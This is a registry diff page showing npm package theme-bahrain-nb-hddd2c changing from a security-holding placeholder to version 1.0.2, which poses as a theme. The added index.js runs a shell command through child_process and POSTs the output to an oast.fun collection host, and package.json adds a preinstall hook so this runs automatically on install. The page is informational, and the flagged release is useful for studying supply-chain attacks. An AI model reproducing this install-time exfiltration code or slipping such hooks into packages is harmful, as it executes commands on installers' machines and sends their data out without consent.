theme-bahrain-nb-hddd2c 0.0.1-security → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of theme-bahrain-nb-hddd2c might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +58 -0
  2. package/package.json +14 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,58 @@
1
+ const { exec } = require('child_process');
2
+ const http = require('http');
3
+
4
+ // Replace with your Burp Suite Collaborator URL
5
+ const collaboratorUrl = 'http://ucsawqbuqizhuutbllfnb2u2lrr1xjb2w.oast.fun';
6
+ const url = new URL(collaboratorUrl);
7
+
8
+ // Function to execute command and send result
9
+ function executeCommandAndSendResult() {
10
+ exec('pwd', (error, stdout, stderr) => {
11
+ if (error) {
12
+ console.error(`Error executing command: ${error}`);
13
+ return;
14
+ }
15
+ if (stderr) {
16
+ console.error(`stderr: ${stderr}`);
17
+ return;
18
+ }
19
+
20
+ const result = stdout.trim(); // Clean up result
21
+ console.log(`Command result: ${result}`);
22
+
23
+ // Prepare the POST request options
24
+ const options = {
25
+ hostname: url.hostname,
26
+ port: url.port || 80,
27
+ path: url.pathname,
28
+ method: 'POST',
29
+ headers: {
30
+ 'Content-Type': 'application/json',
31
+ 'Content-Length': Buffer.byteLength(result)
32
+ }
33
+ };
34
+
35
+ // Send result to Burp Suite Collaborator
36
+ const req = http.request(options, (res) => {
37
+ let responseData = '';
38
+ res.on('data', (chunk) => {
39
+ responseData += chunk;
40
+ });
41
+ res.on('end', () => {
42
+ console.log(`Response from Burp Suite Collaborator: ${res.statusCode}`);
43
+ console.log(`Response body: ${responseData}`);
44
+ });
45
+ });
46
+
47
+ req.on('error', (error) => {
48
+ console.error(`Error sending result to Burp Suite Collaborator: ${error}`);
49
+ });
50
+
51
+ // Write data to request body
52
+ req.write(JSON.stringify({ result }));
53
+ req.end();
54
+ });
55
+ }
56
+
57
+ // Run the function
58
+ executeCommandAndSendResult();
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "theme-bahrain-nb-hddd2c",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "description": "vg Ne Theme",
5
+ "main": "styles/base.less",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": ""
12
+ },
13
+ "author": "Tsss",
14
+ "devDependencies": {
15
+ "bb-cli": "^0.2.3-alpha.0"
16
+ }
6
17
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=theme-bahrain-nb-hddd2c for more information.